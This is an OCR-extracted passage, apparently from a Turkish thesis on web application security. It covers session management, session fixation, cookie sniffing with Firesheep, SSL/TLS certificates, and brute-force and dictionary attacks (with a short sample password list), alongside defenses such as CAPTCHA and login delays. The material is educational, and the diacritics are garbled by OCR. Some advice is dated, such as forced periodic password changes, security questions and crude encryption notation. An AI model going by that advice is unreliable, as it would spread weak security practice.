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diistinerek, bir kimlik dogrulama tanimi yapacak olursak; uygulamay1 kullanacak
olan kullanicilarin gecerli/tanimli bir kullanicit olup olmadigini kontrol edilmesi

islemine verilen isimdir diyebiliriz.

Kimlik Dogrulama islemleri her tiir uygulamada kritik seviyede onemlidir! [13]
Bugiiniin web uygulamalarinin ¢ogu, geleneksel kimlik dogrulama modelini
kullaniyor yani kullanic1 dogrulugu kontrol etmek i¢in uygulamaya kullanici adi ve

sifresini gonderiyor. Asagidaki resim tipik oturum agma (login) fonksiyonudur [7].

Kullanici Adi : | |

Sifre : | |

- Girig IEM

Sekil 3.10 : Klasik login islemi

Online olarak bankalar tarafindan kullanilan gilivenlik agisindan kritik olan
uygulamalarda, bu basit model ek kimlik bilgileri ve bir ¢ok asamali oturum agma
islemi tarafindan uygulanir. Giivenlik ihtiyaclari daha yiiksek oldugu durumlarda,
istemci sertifikalari, smartkartlar (akilli kartlar) vb. gibi isaretlere dayali baska kimlik
dogrulama modelleri kullanilabilir [12]. Ana kimlik dogrulama islemi siirecine ek
olarak, kimlik dogrulama mekanizmalar1 genellikle hesap kurtarma (account
recovery), sifre degistirme vb. gibi bir dizi destekleyici fonksiyonellikler
kullanmaktadir [3]. Oturum agma mekanizmasinda ki ortak olan sorunlar genellikle
mantikda Ki hatalardan kaynaklanabilir. Bunlara, saldirganin baska kullanicinin
kullanici admi tespit etmesi, sifrelerini tahmin etmesi veya oturum agma

mekanizmasini atlayarak uygulamaya giris yapmasini gosterebiliriz [3].

3.4.3.2 Oturum y6netimi (Session Management)

Kullanict erigsiminin ele alinmasindaki diger bir madde ise yetkili kullanicinin
oturumunu yonetmektir. Web uygulamalart HTTP {izerinden haberlesirler. Fakat
HTTP, istemcinin kimlik bilgisini dogruladiktan sonra istemcinin durum bilgisini
(oturum bilgisini) tutmaz. Yani bir kullanicidan gelen iki istegin ayni kullanicidan

geldigini anlayamaz [13]. Bu nedenle istemcinin durum bilgisinin kontrol edilmesi
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icin her istemciye 6zel bir deger sunucu veya gelistirici tarafindan {iretilir (Session
ID). SESSION ID, benzersiz bir stringdir [3]. Kullanic1 bu degeri kabul ettiginde,
tarayici otomatik olarak her yeni HTTP isteginde onu sunucuya geri yollar ve

uygulama istegi saglayan kullaniciyi tanir [6].

Oturum bilgisi URL’de, form gizli alanlarinda veya en yaygin olan cerezlerde
(cookiler’de) tasinabilir. Eger kullanici belirli bir zaman iginde istekde

bulunmamuissa, asagidaki resimde gosterildigi gibi oturumun siresi biter;

Kullanici oturum sureniz dolmustur.
Uzgiintiz, 10 dakika'dan daha fazla bir stirede herhangi bir
islem yapmadiginizdan dolayi kendi guvenliginiz igin
oturumunuz sonlandiriimistir. Hesabiniza ulasmak icin llitfen
yeniden giris yapiniz.

Simdi giris yapmak istiyor musunuz?

e =

Sekil 3.11 : Oturumun zaman agimi

Oturum yonetimi zafiyetlerine asagida belirttigimiz maddeleri gosterebiliriz:
Rasgele olusturulmamus, tahmin edilebilir oturum ID’si (session identifier);

Logout isleminden sonra oturum ID’sinin gegersizlestirilmemesi ya da uygulamada

logout 6zelliginin saglanmamasi;

Kullanici, belirli bir siire inaktif olduktan sonra oturum ID’sinin

gecersizlestirilmemesi.
Oturum ID’sinin maksimum yasam siresinin belirlenmemesi;

Uygulamanin birden fazla oturum ID’si igermesi ve uygulamanin bunlari nasil

kullandiginin belirli olmamast;

Oturum ID’sinin basarili kimlik denetimi sonrasi yenilenmemesi (Session Fixation);
Oturum ID’sinin URL igine gdmulmesi;

Oturum ID’sinin glivensiz kanallar {izerinden taginmast;

Oturum ID’si  iceren cookie’lerin  httpOnly ve secure parametrelerinin

aktiflestirilmemesi;
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Oturum ID’si giliniimiiz sartlarinda kaba-kuvvet saldirilarina karsi en az 128-bitlik

giivenlik saglamalidir. Oturum ID’sinin iletimi esnasindaki zafiyetleri dnlemek igin;
HTTP yerine HTTPS kullanilmalidir;

Secure parametresi oturum ID’sini tasiyan cerezler igin aktiflestirilmelidir. Bu

sayede oturum ID’si glvenli olmayan kanallar Gizerinden gonderilmeyecektir;
Firesheep;

Firesheep, Winpcap Kkiitiiphanesi ile birlikte kullanilan ve ayni ag {izerindeki
cookileri yakalayan Firefox {izerindeki en etkili araglardan biridir. Bu aracin
yakaladig1 ¢erez bilgileri ile facebook, twitter vb. Gibi bircok hesap ele gegirilebilir.
Bu yiizden de ortak aglara baglanilirken dikkat edilmelidir [3].

XSS (Cross-Site Scripting) agigini igeren uygulamalarda js kodlari galistirarak
kullanicilarin oturum ID’lerini ele gegirmek ve bu sayede kullanicilarin hesaplarina

erismek miimkiindiir. (Session Hijacking) [3]

INFO ¥ |

A JSESSIONID=0D6221E9F829A6CB803092

[ |
| Tamam |

Sekil 3.12 : Oturum sabitinin gosterimi

Ekstra oturum yonetimi kontrollerine;
Oturum ID’si gegersizlestirme (logout, inaktiflik, maksimum siire)
httpOnly parametresini aktiflestirme (isSession = true ise)

gosterebiliriz.

37



Saldirt agisindan, oturum ydnetimi mekanizmasi simgelerin giivenligine son derece
bagimhidir. Saldirilarin biiyilk ¢ogunlugu kullanicilara verilen simgelerin aranip
bulunarak uzlasmasina dayanmaktadir. Bunun miimkiin oldugu durumlarda,
saldirgan, kendisini kurban kullanic1 olarak taklit ederek uygulamaya sizip sanki o

kullaniciymig gibi uygulamay1 kullanabilir.

Zafiyetin baglica alanlar1 simgelerin nasil {retilmesinden, saldirganin bagka
kullanicilara verilen simgeleri tahmin edebilmesinden, ve simgelerin sonradan nasil
ele alinmasindaki kusurlardan kaynaklanmaktadir. Bu durum Siteler arasi istek

sahteciligi saldirisina yol agmaktadir [15].

Bunu en iyi sekilde asagidaki gibi gosterebiliriz:

e

re———i-\

ATTACKER

http://online.worldbank.com
llogin.jsp?sessionid=1234

E ®GET Nlogin.jsp?sessionid=1234
N

username&password
== (5) - BLE

USER online.worldbank.com

Sekil 3.13 : Oturum sabitinin ¢alimmasina yonelik senaryo

Yukaridaki senaryonu agiklamak gerekirse;

Saldirgan, web uygulamasindan kendisine gelen (kimlik denetiminden 6nce) oturum
ID’sini ilgili linkle birlikte kurbana yonlendirerek onun bu linki ve oturum ID’sini

kullanarak login olmasini saglar.
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e Sayet, web uygulamasi, kimlik denetimini gerceklestirdikten sonra oturum ID’sini

yenilemez ise (session fixation) kurbanin oturumu tehlikeye girer. Zira bu oturum

ID’si saldirgan tarafindan da bilinmektedir.

¢0zUmU: Her basarili kimlik denetimi sonrasi yeni bir oturum ID’si olusturulmali ve

atanmalidir [15].

Oturum degiskenlerini denetlerken dikkat edilmesi gereken baslica konulara

asagidakileri gosterebiliriz;

e Oturum degiskenlerinin nasil tagindigi (GET, POST, hidden field)

e Oturum degiskenlerinin HTTPS {izerinden aktarilmasi

e HTTP’nin yerine HTTPS’e yonlendirilmesi

Cache-control: Header bilgisi ile gonderilen Cache-control mekanizmasi tarayicinin

dosyalar1 6n bellekte tutup tutmamasini eger tutacaksa ne kadar siire ile tutacaginm

belirtmek icindir. Bu mekanizma firebug, liveHeaders gibi eklentilerle test edilebilir

3].

Cizelge 3.1 : Onbellek degiskenleri ve agiklamalari

Onbellek degiskeni Onbellek degisken aciklamasi

Max-age = [seconds]

Kaynagin belirtilen siire kadar dnbellege alinacagini ve daha sonra tekrar kullanila
bilecegini belirtir. Cookie Expires 6zelligine benzemektedir.

no-cache HTTPS iizerinden kullanildiginda 6nbellege almay1 engeller. Fakat HTTP iizerinden
kullanildiginda Expires :-1 gibi degerlendirilip kaynagi, siiresi hemen dolacak olarak
onbellege alir.
no-store Kaynagi higbirzaman onbellege almaz. Kaynak i¢in her defasinda request
yapildiginda sunucuya istek gider ve yanit doner.
public Kaynagin herhangi bir 6nbellek tarafindan 6nbellege alinacagini gosterir.
private Kaynagin tek bir kullanic i¢in tasarlandigini ve genel 6nbellek tarafindan

paylasilmamasini belirtir. Ozel bir 6nbellek tarafindan ( 6rn, proxy ) énbellege
almabilir.
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Programlama

Sekil 3.14 : Cache kontrolu eklenmesi

3.4.3.3 Erisim kontrolu (Access Control)

Kullanici erisiminin ele alinmas: siirecindeki sonuncu mantiksal adim her istegin izin
verilip veya red edilmesi ile ilgili dogru kararlar alinmas: ile alakalidir. Eger bu
mekanizmalar dogru calisirsa, uygulama her istekte bulunan kullanicinin kimligini
tanir. Istekte bulunan kullanicinin eylemi gergeklestirmek veya veriye erismek igin

yetkisinin olup olmadigi ile ilgili gorsel gosterilmistir.

Access Denied [403]

Sekil 3.15 : Erisimin reddedilmesi

3.4.3.4 Kimlik dogrulamasini korumak (Securing Authentication)

Bazi durumlarda “daha” giivenli aslinda tersi olabilir. Ornegin, kullanicilar1 gok uzun
sifreler belirlemeye ve sik sik onlar1 degistirmege zorlamak kullanicilarin sifrelerini

bir yere kaydetmelerine neden olmaktadir.
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Guclt kimlik bilgileri kullanmak;

Uygun olan minimum parola kalite gereksinimleri uygulanmalidir. Bu gereksinimler;
minimum uzunluk; alfabetik ve sayisal goriiniim, biiyiik ve kiiciik karakterlerin
goriniimii, sozlik kelimelerinden, isimlerden ve ortak kullanilan sifrelerden
kacinmak, sifrelerin kullanici adi ile baslamasini engellemek, daha 6nce ayarlanmis
parolalarin benzerligi veya eslesmesinin 6nlenmesi ile iligkin kurallar1 igerebilir [14].
Farkl1 kullanici kategorilerine gore gerekli olan minimum sifre kalite gereksinimleri

degisiklik gostere bilir.
Kullanici adlan tekil olmalidir.

Kullanicilara yeteri kadar gucli parola ayarlamaya uygulama izin vermelidir.

Ornegin; uzun parolalara ve genis araliktaki karakterlere izin verilmelidir.

Kimlik bilgilerinin gizliligini yonetmek;

Tiim kimlik bilgileri yetkisi olmayan kullanicilara ifsa edilmeden belirli bir sekilde
olusturulmali, saklanmal1 ve taginmalidir.

Tiim istemci/sunucu iletisimleri SSL gibi kriptolojik teknolojiler ile korunmalidir.

Uygulama igerisinde kimlik dogrulamaya gerek olmayan alanlar HTTP ile calisa
bilir, ancak kimlik dogrulama ihtiyaci olan alanlarin HTTPS olarak yiiklenmesi

gerekmektedir [12].

Kimlik bilgilerinin sunucuya gonderilmesinde POST istekleri kullanilmalidir. Kimlik

bilgileri URL’de veya cookie igerisinde tutulmamalidir [6].

Sunucu tarafinda sifrelenen kullanici bilgilerinin saldirgan tarafindan ele gegirilmis

olsa bile orijinal degerine yeniden ¢evrilmesine izin verilmemelidir.

Istemci tarafli “beni hatirla” 6zelligi sadece kullanict ad gibi gizli olmayan kisimlari

hatirlamalidir [6].

Sifre degistirme oOzelligi uygulanmali ve kullanic1i belirli araliklarla buna

zorlanmalidir.
Kimlik bilgilerini uygun bir sekilde dogrulamak;

Sifreler harfe duyarli bir sekilde, filtrlenmeden veya herhangi bir karakterleri

degistirmeden, ve sifre kirpmadan eksiksiz olarak dogrulanmalidir.
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Kimlik dogrulamadaki mantik hatalarini belirlemek i¢in hem pseudocode hem de

uygulamanin kaynak kodu yakindan incelenmelidir.

Kimlik dogrulama kisminda rasgele bir dogrulama sorusu sorulmalidir. Ornegin, en
sevdigin yemek nedir? Bu sayede saldirganin bu soruya dogru bir sekilde cevap

verilmesi engellenir.
Cok katmanli sistemlerde her katmanda farkli bir dogrulama sorusu sorulmalidir.

Kullanictya sorulan dogrulama sorusuna verilen cevap kullanicinin profilinde
saklanmali ve her kimlik dogrulama islemlerinde kullanici dogru cevap verene kadar

kimlik dogrulama yapilmamalidir [6].

Kullanicinin  dogrulama sorusuna verdigi cevap HTML hidden input olarak

tutulmamal1 ve her defasinda dogrulugu sunucuya sorulmalidir.
Bilgi sizmasini 6nlemek;

Uygulama tarafindan kullanilan farkli kimlik dogrulama mekanizmalar1 kimlik
dogrulama ile alakali bazi bilgileri ifsa etmemelidir. Saldirgan hangi islemin kimlik

dogrulamasinda basarisiz oldugunu bilmemelidir.

Kimlik dogrulamasinin basarisiz oldugu genel bir mesaj ile bildirilmelidir. Ayrica

hata durumlar1 sunucudan donen farkli HTTP durum kodlar ile bildirilmelidir.

Tekrarli olarak ayni tarayici lizerindeki kimlik dogrulama islemlerinin basarisiz
oldugu durumlarda belirli bir siire i¢in kullanic1 askiya alinir, genel bir mesaj ile bilgi
verilerek kimlik dogrulama isleminin basarisiz olduguna neden olan kisim
sizdirilmadan kullanict belirli bir siire askiya alinip, daha sonra bu islemi tekrar
denemesi istenilir. Eger farkli tarayici ile ayn1 anda basarisiz istekler geliyor ise bu

saldir1 olduguna isaret eder [3].
Sifre degistirme 6zelliginin yanlis kullanilmasini 6nlemek;

Sifre degistirme Ozelligi belirli araliklarla sifrelerin siiresinin dolmasini saglayarak
sifrenin degistirilmesini ve herhangi bir sebepten dolayr kullanicin sifresini

degistirmek istediginde bu 6zelligi saglamalidir [3].
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Bu 6zellik sadece kimligi dogrulanmis kisiler tarafindan yapilmasi saglanmalidir.

Kullanici adi1 agik yada gizli form alaninda veya cokie igerisinde belirtilmemelidir.

Nedeni ise farkli kisilerin farkli kullanicilarin sifrelerini degistirmesini engellemektir.
Yeni girilmis sifre kullanicin emin olmasi i¢in iki defa girilmelidir.

Kullanicilara sifrelerinin degistigi ile ilgili mail gonderilmeli ama bu mailin igerigi

eski veya yeni kimlik bilgilerini icermemelidir.
Loglamak, Izlemek ve Bildirmek;

Uygulama, kimlik dogrulama ile ilgili durumlar1 (login, logout, sifre degistirme,
hesabin askiya alinmasi ve hesap kurtarma) loglamalidir (kayit altina almalidir).
Bundan baska basarili ve basarisiz denemeler de loglanmalidir. Loglar s6z konusu
bilgileri (kullanici ad1 ve IP adresi gibi) i¢ermelidir, ama parola gibi glvenlik
sirlarii icermemelidir. Loglar yetkisiz erisimlerden fazlasiyla korunmalidir, ¢linkii

loglar bilgi s1izmasi i¢in kritik kaynaklardir [3].

Kimlik dogrulamadaki anomali durumlar uygulama tarafindan islenmeli ve saldiri
icin dnlemler alinmalidir. Ornegin; uygulama yoneticileri kaba kuvvet saldirilari
gosteren durumlarin farkina varmali ve bunlar i¢cin uygun savunma tedbirleri

almalilar.

Kullanicilar herhangi bir kritik giivenlik durumlarinda haberdar edilmeliler. Ornegin;

sifre degistiginde uygulama kullanicin kayithh olan email adresine mesaj

géndermelidir [3].

Kullanicilar sik sik olusan giivenlik durumlarinda da haberdar edilmelidir. Ornegin;
basaril1 bir giris yapildiktan sonra, uygulama son girigin zamanini ve IP adresini ve o
zamana kadar yapilmis gegersiz login islemlerinin sayisini kullaniciya bildirmelidir.
3.4.3.5 Giivenli soket katmani (SSL)

Internet lizerinde yapilan bilgi aligverisinde iki temel giivenlik ac1g1 dogmaktadir:

1. Gergekten dogru bilgisayar veya sunucuya baglanip baglanmadigimizi bilememek;

bankacilik islemleri igin ger¢ekten bankanin kendi web sitesine mi baglaniimaktadir?

2. Internet {izerinde paylasacaginiz bilgilerin muhatabimz disindaki kisilerce ele

gecirilip gegirilmedigini bilememek.
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Acaba girdiginiz kullanict numarasi ve internet bankaciligi sifresi kendi bankaniza

giderken ayn1 zamanda da kotii niyetli kisilerin eline ulagiyor mu?

SSL (Secure Socket Layer), ag iizerinden iletisim kuran client ve server arasindaki
trafigi sifreleyerek giivenli bilgi alis verisini saglayan ve default’ta 443 nolu portu
kullanan bir gilivenlik protokoliidiir [16]. SSL protokii ile veri karsi tarafa
gonderilmeden once belirli bir sifreleme algoritmasi ile sifrelenir ve sadece dogru
alic1 tarafindan bu sifre ¢oziilerek gercek veri elde edilir. Temelleri Netscape firmasi
tarafindan 1994 yilinda atilan SSL ayni yilda ticari olarak piyasaya siiriildii ve bir
sonraki yil IETF tarafindan standart olarak kabul edildi. 1996 yilinda ise v3.0
versiyonun yayinlanmasiyla biitlin internet tarayicilarinin destekledigi bir standart
hale gelmistir [17]. Aslinda standartin asil ismi TLS (Transport Layer Security)
olmasina ragmen genellikle SSL kullanimi tercih edilmektedir. SSL/TLS, uygulama
katmani ile tasima katmani arasinda yer alir ve bilginin sifreleme gibi gerekli olan
kriptografik islemlerden gectikten sonra karsi tarafa iletilmesini saglar. SSL’in

asagidaki stiriimleri mevcuttur [16]:

e SSL v2.0 (1995), SSL v3.0 (1996)
e SSLVv3.1=TLS 1.0 (1999)

e TLS1.1(2006), TLS 1.2 (2011)

HTTPS/SSL/TLS, sadece iletisimde veri gizliligi saglar, hedef sistemin giivenlik

zaafiyetlerine karsi ek bir koruma saglamaz.
HTTP + TLS veya HTTP + SSL

Her iki tarafta da dogrulama yapilarak islemin ve bilginin hem gizliligi hem de

biitiinligii korunur [17].
e Gizlilik — simetrik sifreleme (anahtar degisimi)
e Biitiinlik - MAC

e Kimlik Denetimi — Dijital sertifika kontrolii

SSL sertifikasi, web sitesinin kimligini dogrulayan ve SSL protokolii kullanilarak

sunucuya gonderilen ve alinan bilgilerin sifrelenerek aktarilmasini saglayan dijital bir
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belgedir. SSL sertifikalar1 araciligiyla kullanilan SSL protokolii, internet veya bir
bilgisayar ag1 lizerinde giivenli bilgi akisini saglayabilen bir teknolojidir. Cok fazla
kaynak harcamasindan dolayr giivenli veri iletisimi gerektiren web sayfalarinda
kullanilmalidir [18]. Ciinkii HTTPS kullaniminin yogun trafik akisina neden olmasi
sistemin performansina yansir. SSL protokii ile veri karsi tarafa gonderilmeden 6nce
belirli bir sifreleme algoritmasi ile sifrelenir ve sadece dogru alict tarafindan bu sifre

cozllerek gercek veri elde edilir.

SSL sertifikalarinda sifreleme algoritmalar1 simetrik ve asimetrik olmak iizere ikiye

ayrilir;

1. Simetrik sifreleme- Veriyi sifrelemek ve sifreli veriyi ¢6zmek icin her iki
tarafinda bildigi ortak-tek bir anahtar kullanilir [18]. Bu teknikte her iki tarafta da

ayni anahtar kullanildigindan giivenlik diistiktiir.

2. Asimetrik sifreleme- Veriyi sifrelemek ve sifreyi veriyi ¢ozmek icin 2 farklh
anahtar kullanilmaktadir. Bu anahtarlar public key ve private key’dir. Bu
sifreleme algoritmasinda veriyi alan taraf kendisinin bildigi bir private key ve
diger kisiler tarafindan bilinen public key olusturur [18]. Gonderen veriyi,
alicinin public key’i ile sifreler. Aliciya ulasan sifreli veri, alicinin private key’i

ile ¢oziiliir. Veriyi sifreli yapan private key’in gizli olmasidir.

3. Ciinkii belirli bir kisinin public key’i ile sifrelenen veri o kisinin private key’i
ilecOzulebilir. Dolayisiyla private key bilinmedigi igin araya girilse bile veri

okunulmaz halde olur.
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(1) https:/iwww.avm.com/mypage.jsp

>

2| =
QX_SOQ Sertifika
— AP public Key

A

E (4) istemci rastgele simertik anahtar olusturur.
(5) Istemci, server tarafindan olusturulan agik anahtar ile key'i sifreler.
Client Server

¥

(6) Sifrelenmig simetrik anahtar.

Sifrelenmis Veri

Sifrelenmis Veri

Sifrelenmis Veri

Sekil 3.16 : Iletisimin sifrelenmesi

Veri + Private Key = Sifreli Veri

Sifreli Veri + Public Key = Veri

Sifreleme yonteminin giicii kullanilan anahtar uzunluguna baglhidir. Anahtar
uzunlugu bilginin korunmasi i¢in ¢ok énemlidir. SSL protokoliinde 40 bit ve 128 bit
sifreleme kullanilmaktadir. Bit (Binary Digit), ikili sistemde bir rakami ifade eder.
Bir bit, 0 veya 1 olmak tizere iki farkli deger alabilir. 128 bitlik bir sifrenin ¢oziilmesi

icin bir milyon dolarlik yatirim ve 67 y1l gerekmektedir [17].

Sayisal — Dijital imza kavram

Gondericiye ait olan damgadir. Gondericinin dogrulugu sayisal imza ile kontrol
edilir. Asimetrik sifreleme algoritmasi kullanilmaktadir. Sayisal imza, kisinin veya
kurumun public key’inin hash degerinin alinmasi ve bu degerin bir sertifika
otoritesinin private key’i ile imzalanmasidir. Boylece kurumun kimligi gegerli bir

sertifika otoritesi tarafindan dogrulanmis olur.
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Dijital sertifikalar

Dijital sertifika ile bir web sitesi kendisini, kendisine erismeye calisan kullaniciya
tanitir. Sertifika, kurumun public key’i ve bu public key’in hash degerinin sertifika

otoritesinin private key’i ile imzalanmasindan olusur.

Sertifika = (Private KeyCA (Hash (Public KeyKurum))) + Public Key = Sayisal Imza +
Public Key

SSL’in temel giivenligi Sertifika otoritesi olarak adlandirilan aract kurumlar ve bu

kurumlar biinyesinde tutulan gizli anahtarla saglanir.

CA (Certification Authority)- sertifika otoritesi, sertifika vermeye yetkisi olan
kurum. Noter mihri gibi. Bu kurumlara 6rnek olarak Verisign, Globalsign,
COMODO, TRUST gosterebiliriz [6]. Sertifika otoritesinin ele gecirilmesi o otorite
tarafindan onaylanan tiim sertifikalar1 giivensiz hale getirir. SSL sunucularinin dijital
sertifikalarinin olmas1 zorunludur. Bu sayede tarayicilar, sunucularin kimlik
dogrulamasin1 gergeklestirirler. Mutual Authentication aktif edildiyse, yani SSL
sunucusunda tarayicilarin kimlik kontrolu gergeklestirilmesi gerekiyorsa o zaman her
bir tarayicinin da gecerli bir dijital imzaya sahip olmas1 gerekir [17]. Bir dijital

sertifikada agsagidaki resimde gosterilen baslica bilgiler yer almaktadir:
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" Certificate EX

General | petails | Certification Path

E' Certificate Information

This certificate is intended for the following purpose(s):

= Ensures the identity of a remote computer
= Proves your identity to a remote computer
=1.3.6.1.4,1.11129.2,5.1

Issued to:  *.google.com

Issued by: Google Internet Authority G2

valid from 7/13/2015 to 10/5/2016

Sekil 3.17 : Sertifika detay1

Sertifikanin hangi kurum/web sayfasi i¢in olusturuldugu, hangi CA tarafindan
olusturuldugu, sertifikanin gecerli oldugu tarih araligi ve sertifikanin biitiinligtint

kontrol etmeyi saglayan hash degerleri.
2 tiirlii SSL sertifikas1 mevcuttur:

1. CA imzali SSL sertifikalari

2. Self-Signed SSL sertifikalar1

Self-Signed sertifikalar1 genellikle test amagli veya lokal kullanimda tercih edilir.
Ancak bu sertifikayr olusturan CA, tarayici tarafindan taninmadigi i¢in kimlik
dogrulama esnasinda kullanicilar uyari ile karsilagsmaktadir. Self-Signed sertifikalar

OpenSSL yardimai ile olusturuluyorlar.

Dijital sertifika kontroll

1. Sertifika gecerli bir CA tarafindan olusturulmali ve de CA hiyerarsisindeki her
CA ve sub CA sertifikasi uygulama ortaminda gilivenilir ve gegerli olmalidir.

Self-Signed CA’lar sadece test ortaminda kullanilmalidir.
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2. Her dijital imza belirli bir zaman araliginda gecerlidir. ilgili sertifikanin siiresinin
dolmadigindan emin olunmalidir. Siiresi bitmek {izere olan sertifika

yenilenmelidir.

3. Dijital sertifika’lar, ilgili kurumu temsil eden CN (Common Name) tanimi ile
olusturulur. CN (genel ad), kullanilan sunucunun hostname’ine karsilik
gelmelidir. Farkli olmasi durumunda istemciye sertifika da bulunan kurum ismi
ile erisilmek istenen site arasinda ¢eliski olduguna dair uyari1 mesaji1 donecektir.
Bu uyari, kullanicilar erisilmek istenen adresin giivenli olup olmadigi konusunda

slipheye diisiirebilir. Dolayisiyla sertifika ismi ile sunucu ismi ayni olmalidir.

3.5 Web Uygulamlarina Yonelik Saldir1 Tiirleri

3.5.1 Deneme yanilma saldirilar:

Hedef olarak genellikle uygulamanin giris formlarini ele alan ve tahmini isteklerde
bulunarak, bu isteklerin cevabinin analizlerinden olusan bir saldirt tipidir. Manuel
olarak insanlar tarafindan el ile yapilmaz (aslinda yapilabilir ama uzun ve zahmetli
bir istir), bunun i¢in yazilmis programlar aracilifi ile yapilir. Bu saldiridaki asil amag
kullanicin kullanici adina ait sifreyi bulmak ve yonetimi ele gegirmektir. Yonetim ele
gecirilince web sitesini kolayca hackleyebilirler. Bu saldir1 ¢esidinin uygulanabilir
olmasmin en biiyiilk kaynagi, kullanicilarin kolay tahmin edilebilen ve karmagsik
olmayan parolalar se¢melerinden kaynaklanmaktadir [3]. Parolalar ne kadar
karmasik olsa otomatize araglar tarafindan tahmin edilmesi bir o kadar minimuma
indirilmis olur. Baska bir etken de giris formlarinda bulunan detayli hata
mesajlaridir. Bu saldirt tipinde saldirganlar otomatize araglar araciligr ile hizli bir
sekilde ellerinde olan kelime listeleri ile siirekli login sayfasina atak yaparlar. Bu

kelime listeleri yazili olanlar1 program sirasiyla dener ve sifreyi bulmaya calisir.
Deneme Yanilma Saldirilart genel itibari ile iki sekilde yapilmaktadir:

e Sozliik tabanl saldirilar (Dictionary Attack)

e Kaba kuvvet saldirilar1 (Brute Force)

3.5.1.1 Dictionary Attack (Sozliik Saldirisi)

Daha 6nce olusturulmus bir listedeki tiim s6zciiklerin denenmesi ile yapilir.
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123456
gwerty
123qwe
654321

Sekil 3.18 : Sozliik saldirisi

Bu listeler genellikle GB’lar boyutunda olup daha Onceden calinmig
veritabanlarindan ¢ikartilmis en ¢ok kullanilan kullanici adi ve parola bilgilerini
icerir. Burp Suite, pentest islemlerinde en ¢ok kullanilan proxy programidir. Web
islemleri gerceklestirirken istemci-sunucu mimarisini kullaniriz. Bir web sitesini
incelemeye bagladigimiz zaman giden ve gelen verilere, isteklere, isteklerin gidis ve
dontis sekillerine gore islemler gergeklestiririz. Pentest islemlerinin saglikli islenmesi
i¢in istemci ile sunucu arasinda yapilan her islemin gerek istemciden ¢ikip sunucuya
varmadan kontrolli, gerekse de sunucudan istemciye donen cevabin istemciye
varmadan araya girilerek bakilmasi ¢ok Onemlidir [18]. Burp Suite iste burada
devreye girer ve istemci-sunucu arasindaki tiim verileri kendi iizerinden gegirerek
kendi icerisinde bulunan ozellikler ile test edilmesini saglar. Icerisinde bulundurdugu

ozellikler sayesinde pentest islemlerinde hiz ve test etme kolaylig1 saglar.
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3.5.1.2 Kaba kuvvet (Brute Force) saldirilar:

Brute Force Attack olarak bilinir ve Tiirk¢e’ye Kaba Kuvvet Saldirilart olarak
cevrilir. Kaba kuvvet saldirisi, kimlik dogrulamada kullanilan kullanici ad1 ve parola
degerleri i¢in alt ve iist sinirlari belirli olacak sekilde karakter, uzunluk ve ¢esitlerinin

olusturulup denenmesi ile yapilmaktadir [6].

« Baslangic Karekteri e B
« Bitis Karekteri Lﬂ imi ]
« Karekter Uzunlugu Parola: [resnneny ]
» Karekier Cesitliligi ' ;

Sekil 3.19 : Kaba kuvvet saldirisinin denenmesi

3.5.1.2.1 Kaba kuvvet (Brute Force) saldirilarim1 6nlemek

Kaba kuvvet saldirilar1 hedeflenen uygulamanin kritik formlarinda CAPTCHA
(Completely Automated Public Turing test to tell Computers and Humans Apart)
kullanilmahidir [3]. CAPTCHA, bilgisayar ile insanlarin davranmiginlarinin ayirt
edilmesi i¢in kullanilmaktadir. Buradaki mantik resim {izerinde insan tarafindan
okunabilen fakat bilgisayar programlari tarafindan okunmasi zor olan bir sézciik
olusturmaktir. Eger forma girilen sozcilik resimdeki ile ayni degilse ya kisi formu
yanlis doldurmus yada formu dolduran bir programdir denilebilir. Bu sayede,
uygulamanin herhangi bir sayfasina kotii niyetli yazilim tarafindan otomatik olarak
gonderilen veri Onlenebilir. Ayrica CAPTCHA kullanimi sozlik saldirilarini da

engeleyebilir.
CAPTCHA ile ilgili sorunlar;

e Zayif algoritmalar

e Zayif resimler
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e CAPTCHA tekrarlama

CAPTCHA uygulamasit kullanilan uygulamalara yapilan saldirilardan  biri,
saldirganin HTML kaynak koduna bakarak image etiketi bulunan kisimlar
incelemesi ve image’larin ALT attributlarina bakilarak CAPTCHA tahmin edilmeye
calisilir [3].

Goriinmez Link form tuzaklari: Genelde web uygulamalarinda otomatize araglar ile
bilgi ¢almayr Onlemek i¢in kullanilan yontemdir. Bu tuzagin temel amaci bir
kullanic1 ile otomatize araci bir birinden ayirt etmektir. Dolayisiyla goériinmez link
form eklentileri ile otomatize ara¢ tespiti yapilabilir. Bu link ve formlar kullanici
tarafindan goriintelenemeyecek ancak otomatize araglar bu link ve formlar1 bularak
istek yapacaktir. Dolayisiyla bu istegi bir kullanic1 yapmis olamaz [6]. Bu isteklerin
client IP bilgisi karantinaya alinip belirli bir siire bu IP’den gelen isteklere

CAPTCHA gosterilebilir.

Kimlik Dogrulama Islemlerine Gecikme Siiresi Ekleme: Deneme yanilma
saldirlarinin basar1 oranlar1 segilen yonteme bagli olarak ve test edilecek veri
kiimesinin biiyiikliigline orantili olarak degisir [6]. Ciinkii hedef uygulama iizerindeki
kullanic1 ad1 ve parola politikas1 karmasik ise yani harf ve rakamlardan olusuyor ise
daha biiylik veri kiimesi test i¢in kullanilacaktir ve buda gecerli kullaniciyr bulma
siiresini artiracaktir. Ornegin, her istek icin bir saniye harcaniyorsa 1000 istek 1000
saniye harcanmasi s6zkonusudur. Sistem giivenligini saglamak i¢in belirli hatali giris
sayisindan sonra cevap siiresi artirila bilir. Ornegin, ilk iki hatali girisden sonra bir
saniye ve toplamda 7 hatali girisden sonra cevap sliresi 5 saniye ile sinirlandirila
bilir. Bu sayede servis kesintisi zafiyeti icin birinci 6nlem alinmis olur fakat mevcut

formun her zaman bir captcha ile kullanilmasi tavsiye edilir.
Dogru Bilinen Yanlislar;

Birgok sizma testi esnasinda yazilim gelistiricilerin saldirilara karsi almis oldugu
onlemler her ne kadar bu problemi ¢6zse bile farkli sorunlara neden olabilmektedir.

Bunlar siralayacak olursak;

Captcha; ilk giris esnasinda captcha kullanilmasi onerilmez. En azindan bir hatali
girisden sonra kullanilmasi 6nerilir [6].
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Form Token; Captcha ve form token kullanimi giivenligin saglandigina inanilip zayif
kullanici ad1 ve parola politikas1 se¢gmek yanlistir [6].

3.5.2 SSL saldirilan

SSL baglantilarinda araya girme asagidaki gerekli sartlar saglandiginda miimkiin

olmaktadir;

1. Ik olarak hedef sistemin trafigi saldirganin iizerinden gececek sekilde

ayarlanmalidir;

2. Hedef sistemin iletisim kurmak istedigi HTTPS sayfasina ait bilgileri ile

sahte bir sertifika olusturulmalidir;

Sahte olusturulan bu sertifika tiim modern tarayicilarda kullaniciya uyar1 verecektir.
SSL giivenligindeki en 6nemli bilesen sertifika otoritesidir. Sertifika otoritesi tek
basina ise yaramaz, client yazilimlan tarafindan gilivenilir olarak kabul edilmelidir.
